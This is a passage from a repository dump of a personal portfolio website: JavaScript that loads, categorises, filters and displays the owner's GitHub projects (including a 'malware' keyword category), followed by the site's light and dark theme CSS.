repoDescLower.includes(\"tutorial\"), \"learn\", \"Learning\") +\n        getCategoryIcon(repo.topics.includes(\"web\") ||\n            repoDescLower.includes(\"web-\") ||\n            repoDescLower.includes(\"html\") ||\n            repoDescLower.includes(\"css\"), \"web\", \"Web\") +\n        getCategoryIcon(repo.topics.includes(\"optimizer\") ||\n            repoDescLower.includes(\"cleanup\") ||\n            repoDescLower.includes(\"clean up\") ||\n            repoDescLower.includes(\"optimization\") ||\n            repoDescLower.includes(\"optimize \"), \"leaf\", \"Optimizers\") +\n        getCategoryIcon(repo.topics.includes(\"sorter\") ||\n            repo.topics.includes(\"detector\") ||\n            repo.topics.includes(\"scanner\") ||\n            repoDescLower.includes(\"sort\") ||\n            repoDescLower.includes(\" collection\") ||\n            repoDescLower.includes(\"database\") ||\n            repoNameLower.includes(\"identifier\"), \"database\", \"Data Tools\") +\n        getCategoryIcon(repo.topics.includes(\"protection\") ||\n            repoDescLower.includes(\"protect\") ||\n            repoDescLower.includes(\"obfuscat\"), \"shield\", \"Protections\") +\n        getCategoryIcon(repo.topics.includes(\"library\") ||\n            repoDescLower.includes(\"library\") ||\n            repoDescLower.includes(\"sdk\") ||\n            repoNameLower.includes(\".js\"), \"sdk\", \"Libraries\");\n}\n\n// Global variable to store repository data\nlet globalRepositories = [];\nlet currentFilter = \"all\";\nlet currentSort = \"stars\";\nlet searchQuery = \"\";\n\n// Display repositories in the UI\nfunction displayRepositories(repositories) {\n    const reposContainer = document.getElementById(\"repositories\");\n    const loadingElement = document.getElementById(\"loading\");\n\n    if (!reposContainer) return;\n\n    // Hide loading indicator\n    if (loadingElement) {\n        loadingElement.style.display = \"none\";\n    }\n\n    // Filter out repositories that don't meet criteria\n    globalRepositories = repositories.filter(shouldDisplayRepository);\n\n    if (globalRepositories.length === 0) {\n        reposContainer.innerHTML = `<div class=\"no-repos\">No public repositories found.</div>`;\n        return;\n    }\n\n    // Mark top 3 repositories based on stars\n    // This adds a rank property that will be used for displaying badges\n    const topRepos = [...globalRepositories].sort((a, b) => b.stargazers_count - a.stargazers_count).slice(0, 3);\n    globalRepositories.forEach(repo => {\n        const topIndex = topRepos.findIndex(topRepo => topRepo.id === repo.id);\n        if (topIndex !== -1) {\n            repo.rank = topIndex + 1; // Rank 1, 2, or 3\n        }\n    });\n\n    // Apply initial sort (stars high to low by default)\n    applyFiltersAndSort();\n}\n\n// Filter and sort repositories based on current criteria\nfunction applyFiltersAndSort() {\n    const reposContainer = document.getElementById(\"repositories\");\n    if (!reposContainer) return;\n\n    // Clear existing content\n    reposContainer.innerHTML = \"\";\n\n    // Apply category filter\n    let filteredRepos = [...globalRepositories];\n\n    if (currentFilter !== \"all\") {\n        filteredRepos = filteredRepos.filter(repo => {\n            const repoDescLower = repo.description ? repo.description.toLowerCase() : \"\";\n            const repoNameLower = repo.name.toLowerCase();\n\n            switch (currentFilter) {\n                case \"game\":\n                    return repo.topics.includes(\"game\") ||\n                        repoNameLower.includes(\"game\");\n                case \"malware\":\n                    return repo.topics.includes(\"malware\") ||\n                        repo.topics.includes(\"stub\") ||\n                        repoDescLower.includes(\"malware\") ||\n                        repoDescLower.includes(\"bypass\") ||\n                        repoDescLower.includes(\"virus\") ||\n                        repoDescLower.includes(\"spyware\") ||\n                        repoDescLower.includes(\"ransomware\") ||\n                        repoDescLower.includes(\"rootkit\") ||\n                        repoDescLower.includes(\"keylogger\") ||\n                        repoDescLower.includes(\"clipper\") ||\n                        repoDescLower.includes(\"crack\") ||\n                        repoDescLower.includes(\"backdoor\") ||\n                        repoDescLower.includes(\"trojan\");\n                case \"web\":\n                    return repo.topics.includes(\"web\") ||\n                        repoDescLower.includes(\"web-\") ||\n                        repoDescLower.includes(\"html\") ||\n                        repoDescLower.includes(\"css\");\n                case \"learning\":\n                    return repo.topics.includes(\"example\") ||\n                        repo.topics.includes(\"learning\") ||\n                        repoDescLower.includes(\"example of\") ||\n                        repoDescLower.includes(\"learn\") ||\n                        repoDescLower.includes(\"study\") ||\n                        repoDescLower.includes(\"tutorial\");\n                case \"optimizer\":\n                    return repo.topics.includes(\"optimizer\") ||\n                        repoDescLower.includes(\"cleanup\") ||\n                        repoDescLower.includes(\"clean up\") ||\n                        repoDescLower.includes(\"optimization\") ||\n                        repoDescLower.includes(\"optimize \");\n                case \"database\":\n                    return repo.topics.includes(\"sorter\") ||\n                        repo.topics.includes(\"detector\") ||\n                        repo.topics.includes(\"scanner\") ||\n                        repoDescLower.includes(\"sort\") ||\n                        repoDescLower.includes(\" collection\") ||\n                        repoDescLower.includes(\"database\") ||\n                        repoNameLower.includes(\"identifier\");\n                case \"protection\":\n                    return repo.topics.includes(\"protection\") ||\n                        repoDescLower.includes(\"protect\") ||\n                        repoDescLower.includes(\"obfuscat\");\n                case \"library\":\n                    return repo.topics.includes(\"library\") ||\n                        repoDescLower.includes(\"library\") ||\n                        repoDescLower.includes(\"sdk\") ||\n                        repoNameLower.includes(\".js\");\n                default:\n                    return true;\n            }\n        });\n    }\n\n    // Apply search filter if there's a query\n    if (searchQuery.trim() !== \"\") {\n        const query = searchQuery.trim().toLowerCase();\n        filteredRepos = filteredRepos.filter(repo => {\n            return repo.name.toLowerCase().includes(query) ||\n                repo.description.toLowerCase().includes(query) ||\n                (repo.topics && repo.topics.some(topic => topic.toLowerCase().includes(query)));\n        });\n    }\n\n    // Apply sort\n    switch (currentSort) {\n        case \"stars\":\n            filteredRepos.sort((a, b) => b.stargazers_count - a.stargazers_count);\n            break;\n        case \"stars-asc\":\n            filteredRepos.sort((a, b) => a.stargazers_count - b.stargazers_count);\n            break;\n        case \"forks\":\n            filteredRepos.sort((a, b) => b.forks_count - a.forks_count);\n            break;\n        case \"forks-asc\":\n            filteredRepos.sort((a, b) => a.forks_count - b.forks_count);\n            break;\n        case \"name\":\n            filteredRepos.sort((a, b) => a.name.localeCompare(b.name));\n            break;\n        case \"name-desc\":\n            filteredRepos.sort((a, b) => b.name.localeCompare(a.name));\n            break;\n\n    }\n\n    // Show \"no results\" message if needed\n    if (filteredRepos.length === 0) {\n        reposContainer.innerHTML = `<div class=\"no-repos\">No repositories found matching your criteria.</div>`;\n        return;\n    }\n\n    // Функция для определения класса описания на основе длины текста\n    function getDescriptionClass(description) {\n        if (!description) return 'medium-text';\n\n        const length = description.length;\n        if (length < 80) {\n            return 'short-text';\n        } else if (length > 250) {\n            return 'long-text';\n        } else {\n            return 'medium-text';\n        }\n    }\n\n    // Generate HTML for each repository\n    filteredRepos.forEach((repo, index) => {\n        const repoElement = document.createElement(\"div\");\n        repoElement.className = \"project-card\";\n        repoElement.style.animationDelay = `${index * 50}ms`;\n        repoElement.onclick = () => window.open(repo.html_url, \"_blank\");\n\n        const categoryIcons = getCategoryIcons(repo);\n        const isCrownRepo = index === 0 && currentSort === \"stars\" && currentFilter === \"all\" && searchQuery === \"\";\n        const crownIcon = isCrownRepo ? `<img src=\"res/crown-new.svg\" alt=\"Featured\" title=\"Featured Repository\">` : '';\n\n        const isPodiumRepo = index < 3 && currentSort === \"stars\" && currentFilter === \"all\" && searchQuery === \"\";\n\n        // Определяем класс для размера текста описания\n        const descriptionClass = getDescriptionClass(repo.description);\n\n        repoElement.innerHTML = `\n            ${repo.rank ? `<div class=\"rank-badge rank-${repo.rank}\" title=\"${repo.rank === 1 ? 'Top Repository' : (repo.rank === 2 ? 'Second Best Repository' : 'Third Best Repository')}\">${repo.rank}</div>` : ''}\n            <div class=\"project-header\">\n                <h3 class=\"project-title\">\n                    ${repo.name}\n                    ${categoryIcons}\n                    ${isPodiumRepo ? (index === 0 ? crownIcon : '') : ''}\n                </h3>\n            </div>\n            <div class=\"project-body\">\n                <p class=\"project-description ${descriptionClass}\">${repo.description}</p>\n                <div class=\"project-stats\">\n                    <div class=\"stat\">\n                        <img src=\"res/star-new.svg\" alt=\"Stars\">\n                        <span>${repo.stargazers_count}</span>\n                    </div>\n                    <div class=\"stat\">\n                        <img src=\"res/fork-new2.svg\" alt=\"Forks\">\n                        <span>${repo.forks_count}</span>\n                    </div>\n                </div>\n            </div>\n        `;\n\n        reposContainer.appendChild(repoElement);\n    });\n}\n\n// Load repositories from cache or fetch from API\nasync function loadRepositories() {\n    const loadingElement = document.getElementById(\"loading\");\n    const reposContainer = document.getElementById(\"repositories\");\n\n    if (!reposContainer) return;\n\n    // Try to get repos from cache\n    const lastFetch = localStorage.getItem(LAST_FETCH_KEY);\n    const cachedRepos = localStorage.getItem(STORAGE_KEY);\n    const now = Date.now();\n\n    // If we have valid cache, use it\n    if (lastFetch && cachedRepos) {\n        const cacheAge = now - parseInt(lastFetch);\n\n        if (cacheAge < CACHE_VALIDITY_DURATION) {\n            console.log(\"Using cached repositories\");\n            displayRepositories(JSON.parse(cachedRepos));\n            return;\n        }\n    }\n\n    // Otherwise fetch from API\n    console.log(\"Fetching repositories from GitHub\");\n\n    // Show loading indicator\n    if (loadingElement) {\n        loadingElement.style.display = \"flex\";\n    }\n\n    const repos = await fetchRepositories();\n\n    if (repos) {\n        displayRepositories(repos);\n    }\n}\n\n// Setup event listeners for filtering and sorting\nfunction setupEventListeners() {\n    // Category filters\n    const categoryFilters = document.querySelectorAll('.category-filter');\n    categoryFilters.forEach(filter => {\n        filter.addEventListener('click', () => {\n            // Remove active class from all filters\n            categoryFilters.forEach(f => f.classList.remove('active'));\n\n            // Add active class to clicked filter\n            filter.classList.add('active');\n\n            // Update current filter\n            currentFilter = filter.getAttribute('data-category');\n\n            // Apply filters\n            applyFiltersAndSort();\n        });\n    });\n\n    // Sort functionality is now handled by the custom select dropdown\n    // through setupCustomSelect() function\n\n    // Search input\n    const searchInput = document.getElementById('search-input');\n    if (searchInput) {\n        // Debounce function to prevent too many filter operations while typing\n        let debounceTimeout;\n        searchInput.addEventListener('input', () => {\n            clearTimeout(debounceTimeout);\n            debounceTimeout = setTimeout(() => {\n                searchQuery = searchInput.value;\n                applyFiltersAndSort();\n            }, 300); // 300ms debounce delay\n        });\n    }\n}\n\n// Initialize the page\n// Function to handle custom select dropdown\nfunction setupCustomSelect() {\n    const customSelect = document.querySelector('.custom-select');\n    const selectSelected = document.querySelector('.select-selected');\n    const selectItems = document.querySelector('.select-items');\n    const selectOptions = document.querySelectorAll('.select-option');\n\n    // Toggle dropdown when clicking on the selected item\n    if (selectSelected) {\n        selectSelected.addEventListener('click', function (e) {\n            e.stopPropagation();\n            customSelect.classList.toggle('select-arrow-active');\n            selectItems.classList.toggle('select-hide');\n        });\n    }\n\n    // Close dropdown when clicking outside\n    document.addEventListener('click', function () {\n        if (customSelect) {\n            customSelect.classList.remove('select-arrow-active');\n            selectItems.classList.add('select-hide');\n        }\n    });\n\n    // Handle option selection\n    selectOptions.forEach(option => {\n        option.addEventListener('click', function () {\n            // Update the selected text\n            if (selectSelected) {\n                selectSelected.textContent = this.textContent;\n            }\n\n            // Update active class\n            selectOptions.forEach(opt => opt.classList.remove('select-active'));\n            this.classList.add('select-active');\n\n            // Set the current sort value and update display\n            currentSort = this.getAttribute('data-value');\n            applyFiltersAndSort();\n\n            // Close the dropdown\n            if (selectItems) {\n                selectItems.classList.add('select-hide');\n                customSelect.classList.remove('select-arrow-active');\n            }\n        });\n    });\n}\n\n// Terminal functionality is now in app.terminal.js\n\n// The globalRepositories variable is declared earlier in the code\n\ndocument.addEventListener(\"DOMContentLoaded\", function () {\n    loadTheme();\n    setRandomSlogan();\n    setEmailAddress();\n    setYear();\n    loadRepositories();\n    setupEventListeners();\n    setupCustomSelect();\n\n    // Terminal initialization is now in app.terminal.js\n});\n"
  },
  {
    "path": "app.modern.css",
    "content": ":root {\n    --font-sans: 'Inter', system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif;\n    \n    /* Light mode colors - менее фиолетовые, более голубые */\n    --bg-light: #ffffff;\n    --text-light: #111827;\n    --text-muted-light: #4a5568;\n    --primary-light: #2563eb;\n    --secondary-light: #0284c7;\n    --accent-light: #0891b2;\n    --border-light: #e2e8f0;\n    --card-bg-light: #ffffff;\n    --card-hover-light: #f1f5f9;\n    \n    /* Dark mode colors - более глубокий и насыщенный темный фон */\n    --bg-dark: #0a0f1a;\n    --text-dark: #f8fafc;\n    --text-muted-dark: #94a3b8;\n    --primary-dark: #60a5fa;\n    --secondary-dark: #38bdf8;\n    --accent-dark: #a78bfa;\n    --border-dark: #1e293b;\n    --card-bg-dark: #141b2b;\n    --card-hover-dark: #1e2a45;\n    \n    /* Градиенты с менее фиолетовыми значениями */\n    --gradient-1-light: rgba(14, 165, 233, 0.2);\n    --gradient-2-light: rgba(56, 189, 248, 0.2);\n    --gradient-3-light: rgba(2, 132, 199, 0.2);\n    --gradient-4-light: rgba(3, 105, 161, 0.2);\n    \n    /* Тёмный градиент с более насыщенными тонами */\n    --gradient-1-dark: rgba(30, 64, 175, 0.25);\n    --gradient-2-dark: rgba(67, 56, 202, 0.25);\n    --gradient-3-dark: rgba(109, 40, 217, 0.25);\n    --gradient-4-dark: rgba(12, 74, 110, 0.25);\n    \n    /* Scrollbar Colors */\n    --scrollbar-track-light: #f1f5f9;\n    --scrollbar-thumb-light: #cbd5e1;\n    --scrollbar-thumb-hover-light: var(--primary-light);\n    \n    --scrollbar-track-dark: #0f172a;\n    --scrollbar-thumb-dark: #334155;\n    --scrollbar-thumb-hover-dark: var(--primary-dark);\n    \n    /* SVG Filter colors */\n    --svg-filter-light: invert(39%) sepia(70%) saturate(6486%) hue-rotate(214deg) brightness(97%) contrast(101%); /* Primary Blue */\n    --svg-filter-dark: invert(62%) sepia(14%) saturate(5486%) hue-rotate(195deg) brightness(103%) contrast(100%); /* Light Blue */\n    --svg-filter-hover-light: invert(41%) sepia(87%) saturate(1817%) hue-rotate(201deg) brightness(98%) contrast(94%);\n    --svg-filter-hover-dark: invert(73%) sepia(61%) saturate(1371%) hue-rotate(185deg) brightness(103%) contrast(106%);\n}\n\n/* Base Styles */\n* {\n    margin: 0;\n    padding: 0;\n    box-sizing: border-box;\n}\n\n/* Custom Scrollbar Styles */\n/* Для Webkit (Chrome, Safari, новые версии Edge) */\n.light-mode::-webkit-scrollbar {\n    width: 12px;\n    height: 12px;\n}\n\n.light-mode::-webkit-scrollbar-track {\n    background: var(--scrollbar-track-light);\n    border-radius: 8px;\n}\n\n.light-mode::-webkit-scrollbar-thumb {\n    background-color: var(--scrollbar-thumb-light);\n    border-radius: 8px;\n    border: 3px solid var(--scrollbar-track-light);\n}\n\n.light-mode::-webkit-scrollbar-thumb:hover {\n    background-color: var(--scrollbar-thumb-hover-light);\n}\n\n.dark-mode::-webkit-scrollbar {\n    width: 12px;\n    height: 12px;\n}\n\n.dark-mode::-webkit-scrollbar-track {\n    background: var(--scrollbar-track-dark);\n    border-radius: 8px;\n}\n\n.dark-mode::-webkit-scrollbar-thumb {\n    background-color: var(--scrollbar-thumb-dark);\n    border-radius: 8px;\n    border: 3px solid var(--scrollbar-track-dark);\n}\n\n.dark-mode::-webkit-scrollbar-thumb:hover {\n    background-color: var(--scrollbar-thumb-hover-dark);\n}\n\n/* Для Firefox */\n* {\n    scrollbar-width: thin;\n}\n\n.light-mode {\n    scrollbar-color: var(--scrollbar-thumb-light) var(--scrollbar-track-light);\n}\n\n.dark-mode {\n    scrollbar-color: var(--scrollbar-thumb-dark) var(--scrollbar-track-dark);\n}\n\n/* Theme-specific visibility */\n.light-mode .dark-only {\n    display: none !important;\n}\n\n.dark-mode .light-only {\n    display: none !important;\n}\n\nhtml {\n    font-size: 16px;\n    scroll-behavior: smooth;\n}\n\nbody {\n    font-family: var(--font-sans);\n    line-height: 1.6;\n    transition: background-color 0.5s ease, color 0.5s ease, opacity 1s ease-in-out;\n    position: relative;\n    overflow-x: hidden;\n    opacity: 0; /* Начальное состояние - непрозрачность 0 */\n}\n\nbody.loaded {\n    opacity: 1; /* Конечное состояние - полностью видимый */\n}\n\n/* Enhanced transitions for all elements */\n* {\n    transition: background-color 0.5s ease, \n                color 0.5s ease, \n                border-color 0.5s ease, \n                box-shadow 0.5s ease, \n                transform 0.3s ease,\n                fill 0.5s ease;\n}\n\n/* Animated background */\nbody::before {\n    content: '';\n    position: fixed;\n    top: 0;\n    left: 0;\n    width: 100%;\n    height: 100%;\n    z-index: -1;\n    opacity: 1; /* Увеличена непрозрачность для большей заметности */\n    transition: opacity 0.5s ease;\n}\n\nbody.light-mode {\n    background-color: var(--bg-light);\n    color: var(--text-light);\n}\n\nbody.light-mode::before {\n    background: radial-gradient(\n        circle at 30% 40%,\n        var(--gradient-1-light) 0%,\n        var(--gradient-2-light) 30%,\n        var(--gradient-3-light) 60%,\n        var(--gradient-4-light) 100%\n    );\n    background-size: 300% 300%;\n    animation: gradient 15s ease-in-out infinite;\n    filter: blur(80px); /* Добавляем сильное размытие для плавности */\n}\n\nbody.dark-mode {\n    background-color: var(--bg-dark);\n    color: var(--text-dark);\n}\n\nbody.dark-mode::before {\n    background: radial-gradient(\n        circle at 40% 50%,\n        var(--gradient-1-dark) 0%,\n        var(--gradient-2-dark) 30%,\n        var(--gradient-3-dark) 60%,\n        var(--gradient-4-dark) 100%\n    );\n    background-size: 300% 300%;\n    animation: gradient 15s ease-in-out infinite;\n    filter: blur(80px); /* Добавляем сильное размытие для плавности */\n}\n\n@keyframes gradient {\n    0% {\n        background-position: 0% 50%;\n    }\n    25% {\n        background-position: 50% 100%;\n    }\n    50% {\n        background-position: 100% 50%;\n    }\n    75% {\n        background-position: 50% 0%;\n    }\n    100% {\n        background-position: 0% 50%;\n    }\n}\n\nimg {\n    max-width: 100%;\n    height: auto;\n    user-select: none;\n    -webkit-user-drag: none;\n}\n\n.container {\n    width: 100%;\n    max-width: 1200px;\n    margin: 0 auto;\n    padding: 0 1.5rem;\n}\n\n.hidden {\n    display: none;\n}\n\n/* Warning Popup */\n.warning-popup {\n    position: fixed;\n    left: 1.5rem;\n    bottom: 1.5rem;\n    max-width: 400px;\n    width: 95%;\n    z-index: 1000;\n    border-radius: 12px;\n    box-shadow: 0 10px 25px rgba(0, 0, 0, 0.2);\n    overflow: hidden;\n    opacity: 0;\n    transform: translateY(20px);\n    transition: opacity 0.5s ease, transform 0.5s ease;\n    backdrop-filter: blur(8px);\n    animation: slideInUp 0.5s forwards;\n}\n\n@keyframes slideInUp {\n    from {\n        opacity: 0;\n        transform: translateY(40px);\n    }\n    to {\n        opacity: 1;\n        transform: translateY(0);\n    }\n}\n\n.warning-popup.hidden {\n    transform: translateY(100px);\n    opacity: 0;\n    pointer-events: none;\n    visibility: hidden;\n}\n\n.warning-content {\n    display: flex;\n    align-items: flex-start;\n    position: relative;\n    padding: 1.25rem;\n    border-radius: 12px;\n    backdrop-filter: blur(8px);\n    font-weight: 500;\n    letter-spacing: 0.01em;\n}\n\n.light-mode .warning-content {\n    background: rgba(254, 226, 226, 0.9);\n    border: 1px solid rgba(239, 68, 68, 0.3);\n    color: #991b1b;\n}\n\n.dark-mode .warning-content {\n    background: rgba(127, 29, 29, 0.85);\n    border: 1px solid rgba(248, 113, 113, 0.4);\n    color: #fecaca;\n}\n\n.warning-icon {\n    flex-shrink: 0;\n    font-size: 1.2rem;\n    margin-right: 0.75rem;\n    margin-top: 0.2rem;\n}\n\n.warning-popup p {\n    flex: 1;\n    font-size: 0.9rem;\n    line-height: 1.5;\n    margin: 0;\n}\n\n.close-warning {\n    position: absolute;\n    top: 0.75rem;\n    right: 0.75rem;\n    background: transparent;\n    border: none;\n    width: 24px;\n    height: 24px;\n    border-radius: 50%;\n    display: flex;\n    align-items: center;\n    justify-content: center;\n    cursor: pointer;\n    transition: background-color 0.3s;\n}\n\n.light-mode .close-warning {\n    color: #991b1b;\n}\n\n.light-mode .close-warning:hover {\n    background-color: rgba(239, 68, 68, 0.2);\n}\n\n.dark-mode .close-warning {\n    color: #fecaca;\n}\n\n.dark-mode .close-warning:hover {\n    background-color: rgba(248, 113, 113, 0.2);\n}\n\n/* Header */\nheader {\n    padding: 1.5rem 0;\n    position: relative;\n}\n\n.theme-toggle {\n    position: absolute;\n    top: 1.5rem;\n    right: 1.5rem;\n    width: 3.5rem;\n    height: 3.5rem;\n    display: flex;\n    align-items: center;\n    justify-content: center;\n    cursor: pointer;\n    border-radius: 9999px;\n    background-color: transparent;\n    transition: all 0.3s ease;\n    border: 1px solid transparent;\n    z-index: 100;\n}\n\n.theme-toggle:active {\n    transform: scale(0.92);\n    transition: transform 0.1s ease;\n}\n\n.light-mode .theme-toggle {\n    border-color: rgba(226, 232, 240, 0.8);\n}\n\n.dark-mode .theme-toggle {\n    border-color: rgba(45, 55, 72, 0.8);\n}\n\n.light-mode .theme-toggle:hover {\n    background-color: var(--card-hover-light);\n}\n\n.dark-mode .theme-toggle:hover {\n    background-color: var(--card-hover-dark);\n}\n\n.toggle-icon {\n    width: 1.5rem;\n    height: 1.5rem;\n    position: relative;\n    display: flex;\n    align-items: center;\n    justify-content: center;\n}\n\n.toggle-icon svg {\n    position: absolute;\n    top: 50%;\n    left: 50%;\n    transform: translate(-50%, -50%);\n    width: 100%;\n    height: 100%;\n    transition: opacity 0.3s ease, transform 0.3s ease;\n}\n\n.light-mode .sun-icon {\n    opacity: 1;\n    transform: translate(-50%, -50%) rotate(0deg);\n}\n\n.light-mode .moon-icon {\n    opacity: 0;\n    transform: translate(-50%, -50%) rotate(90deg);\n}\n\n.dark-mode .sun-icon {\n    opacity: 0;\n    transform: translate(-50%, -50%) rotate(-90deg);\n}\n\n.dark-mode .moon-icon {\n    opacity: 1;\n    transform: translate(-50%, -50%) rotate(0deg);\n}\n\n.light-mode .toggle-icon svg {\n    color: var(--text-light);\n}\n\n.dark-mode .toggle-icon svg {\n    color: var(--text-dark);\n}\n\n/* Theme-specific image visibility */\n.light-only {\n    display: block;\n}\n\n.dark-only {\n    display: none;\n}\n\n.dark-mode .light-only {\n    display: none;\n}\n\n.dark-mode .dark-only {\n    display: block;\n}\n\n/* Hero Section */\n.hero {\n    min-height: 100vh;\n    display: flex;\n    align-items: center;\n    justify-content: center;\n    position: relative;\n    padding: 1rem 0;\n}\n\n.hero-content {\n    max-width: 1000px;\n    margin: 0 auto;\n    display: flex;\n    align-items: center;\n    gap: 3rem;\n    padding: 2rem 0;\n}\n\n.scroll-indicator {\n    position: absolute;\n    bottom: 2rem;\n    left: 50%;\n    transform: translateX(-50%);\n    display: flex;\n    flex-direction: column;\n    align-items: center;\n    animation: bounce 2s infinite;\n    opacity: 0.75;\n    cursor: pointer;\n    transition: opacity 0.3s ease;\n}\n\n.scroll-indicator:hover {\n    opacity: 1;\n}\n\n.scroll-arrow {\n    width: 24px;\n    height: 24px;\n    position: relative;\n    margin-bottom: 5px;\n}\n\n.scroll-arrow:before,\n.scroll-arrow:after {\n    content: '';\n    position: absolute;\n    top: 0;\n    width: 15px;\n    height: 3px;\n    border-radius: 3px;\n    background: var(--primary-light);\n    transition: all 0.3s ease;\n}\n\n.scroll-arrow:before {\n    right: 50%;\n    transform: rotate(45deg);\n    transform-origin: 100% 50%;\n}\n\n.scroll-arrow:after {\n    left: 50%;\n    transform: rotate(-45deg);\n    transform-origin: 0% 50%;\n}\n\n.dark-mode .scroll-arrow:before,\n.dark-mode .scroll-arrow:after {\n    background: var(--primary-dark);\n}\n\n.scroll-indicator:hover .scroll-arrow:before,\n.scroll-indicator:hover .scroll-arrow:after {\n    width: 18px;\n}\n\n@keyframes bounce {\n    0%, 20%, 50%, 80%, 100% {\n        transform: translateY(0);\n    }\n    40% {\n        transform: translateY(-10px);\n    }\n    60% {\n        transform: translateY(-5px);\n    }\n}\n\n.profile-container {\n    flex: 0 0 auto;\n    display: flex;\n    flex-direction: column;\n    align-items: center;\n}\n\n.profile-info {\n    flex: 1 1 auto;\n    text-align: left;\n    display: flex;\n    flex-direction: column;\n}\n\n.profile-image {\n    position: relative;\n    margin-bottom: 0.5rem;\n}\n\n.avatar {\n    width: 180px;\n    height: 180px;\n    border-radius: 50%;\n    object-fit: cover;\n    border: 2px solid;\n    box-shadow: 0 5px 15px rgba(0, 0, 0, 0.1);\n}\n\n.about-bio {\n    line-height: 1.6;\n    font-size: 1.1rem;\n    margin-top: 1rem;\n}\n\n.light-mode .avatar {\n    border-color: var(--primary-light);\n}\n\n.dark-mode .avatar {\n    border-color: var(--primary-dark);\n}\n\n.name {\n    font-size: 2.5rem;\n    font-weight: 700;\n    margin-bottom: 0.5rem;\n    display: flex;\n    align-items: center;\n    gap: 0.5rem;\n}\n\n.verified-badge {\n    display: inline-flex;\n    align-items: center;\n}\n\n.verified-icon {\n    width: 24px;\n    height: 24px;\n}\n\n.light-mode .verified-icon-path {\n    fill: url(#verifiedGradientLight);\n}\n\n.dark-mode .verified-path {\n    fill: #78a9ff; /* Более светлый голубой цвет для темного режима */\n}\n\n.slogan {\n    font-size: 1.25rem;\n    color: var(--text-muted-light);\n    min-height: 2rem;\n    margin-bottom: 1.5rem;\n    font-style: italic;\n    animation: fadeIn 0.8s ease-out;\n    position: relative;\n}\n\n.slogan::after {\n    content: '';\n    position: absolute;\n    left: 0;\n    bottom: -0.75rem;\n    width: 5rem;\n    height: 3px;\n    background: linear-gradient(to right, var(--primary-light), rgba(99, 179, 237, 0.3));\n    border-radius: 3px;\n}\n\n.dark-mode .slogan {\n    color: var(--text-muted-dark);\n}\n\n.dark-mode .slogan::after {\n    background: linear-gradient(to right, var(--primary-dark), rgba(99, 179, 237, 0.1));\n}\n\n/* Section Styles */\nsection {\n    padding: 5rem 0;\n    position: relative;\n}\n\n/* Наклонные переходы между секциями */\nsection.slant-after {\n    padding-bottom: 8rem;\n}\n\nsection.slant-before {\n    padding-top: 8rem;\n}\n\nsection.slant-after::after,\nsection.slant-before::before {\n    content: '';\n    position: absolute;\n    left: 0;\n    width: 100%;\n    height: 4rem;\n    background: inherit;\n    z-index: 1;\n}\n\nsection.slant-after::after {\n    bottom: 0;\n    transform: skewY(-1deg);\n    transform-origin: 100% 100%;\n}\n\nsection.slant-before::before {\n    top: 0;\n    transform: skewY(-1deg);\n    transform-origin: 0 0;\n}\n\n.light-mode section:nth-child(even) {\n    background-color: var(--card-bg-light);\n}\n\n.dark-mode section:nth-child(even) {\n    background-color: var(--card-bg-dark);\n}\n\n.section-title {\n    font-size: 2rem;\n    text-align: center;\n    margin-bottom: 2.5rem;\n    position: relative;\n    padding-bottom: 1rem;\n}\n\n.section-title::after {\n    content: '';\n    position: absolute;\n    bottom: 0;\n    left: 50%;\n    transform: translateX(-50%);\n    width: 60px;\n    height: 3px;\n}\n\n.light-mode .section-title::after {\n    background-color: var(--primary-light);\n}\n\n.dark-mode .section-title::after {\n    background-color: var(--primary-dark);\n}\n\n/* About Section */\n.about-content {\n    max-width: 800px;\n    margin: 0 auto;\n    font-size: 1.125rem;\n    text-align: center;\n}\n\n.inline-icon {\n    width: 1em;\n    height: 1em;\n    vertical-align: middle;\n}\n\n/* Expertise Area Styles */\n.expertise-grid {\n    display: flex;\n    flex-direction: column;\n    gap: 2rem;\n    max-width: 1100px;\n    margin: 0 auto;\n}\n\n.expertise-row {\n    display: flex;\n    gap: 1.5rem;\n    justify-content: center;\n    flex-wrap: wrap;\n}\n\n.expertise-box {\n    background-color: rgba(255, 255, 255, 0.5);\n    box-shadow: 0 8px 30px rgba(0, 0, 0, 0.06);\n    border-radius: 16px;\n    padding: 2rem 1.5rem;\n    flex: 1;\n    min-width: 280px;\n    max-width: 350px;\n    text-align: center;\n    transition: all 0.4s cubic-bezier(0.175, 0.885, 0.32, 1.275);\n    position: relative;\n    overflow: hidden;\n    border: 1px solid rgba(226, 232, 240, 0.8);\n}\n\n.expertise-box::before {\n    content: '';\n    position: absolute;\n    top: 0;\n    left: 0;\n    width: 100%;\n    height: 100%;\n    background: linear-gradient(135deg, \n                               rgba(99, 179, 237, 0.1), \n                               rgba(99, 102, 241, 0.05), \n                               rgba(168, 85, 247, 0.05));\n    opacity: 0;\n    z-index: 0;\n    transition: opacity 0.4s ease;\n    pointer-events: none; /* Убираем перехват событий */\n}\n\n.expertise-box:hover {\n    transform: translateY(-10px);\n    box-shadow: 0 15px 35px rgba(0, 0, 0, 0.1);\n}\n\n.expertise-box:hover::before {\n    opacity: 1;\n}\n\n.dark-mode .expertise-box {\n    background-color: rgba(30, 41, 59, 0.7);\n    border: 1px solid rgba(51, 65, 85, 0.8);\n    box-shadow: 0 8px 30px rgba(0, 0, 0, 0.15);\n}\n\n.dark-mode .expertise-box::before {\n    background: linear-gradient(135deg, \n                               rgba(37, 99, 235, 0.1), \n                               rgba(79, 70, 229, 0.05), \n                               rgba(124, 58, 237, 0.05));\n}\n\n.dark-mode .expertise-box:hover {\n    box-shadow: 0 15px 35px rgba(0, 0, 0, 0.3);\n}\n\n.expertise-icon {\n    width: 60px;\n    height: 60px;\n    background-color: rgba(236, 244, 255, 0.8);\n    border-radius: 12px;\n    display: flex;\n    align-items: center;\n    justify-content: center;\n    margin: 0 auto 1.25rem;\n    position: relative;\n    z-index: 1;\n    transition: all 0.3s ease;\n}\n\n.expertise-icon svg,\n.expertise-icon img {\n    width: 32px;\n    height: 32px;\n    transition: all 0.3s ease;\n    position: relative;\n    z-index: 10;\n    display: block;\n    pointer-events: none; /* Убираем перехват событий для самих SVG */\n    filter: var(--svg-filter-light); /* Фильтр для SVG изображений в светлой теме */\n}\n\n.expertise-icon svg {\n    stroke: var(--primary-light);\n    fill: none;\n}\n\n.expertise-box:hover .expertise-icon {\n    transform: scale(1.1);\n    background-color: rgba(224, 236, 255, 0.9);\n}\n\n.expertise-box:hover .expertise-icon svg {\n    stroke: var(--primary-hover-light);\n}\n\n.expertise-box:hover .expertise-icon img {\n    transform: scale(1.15);\n    opacity: 1; /* Гарантируем непрозрачность при наведении 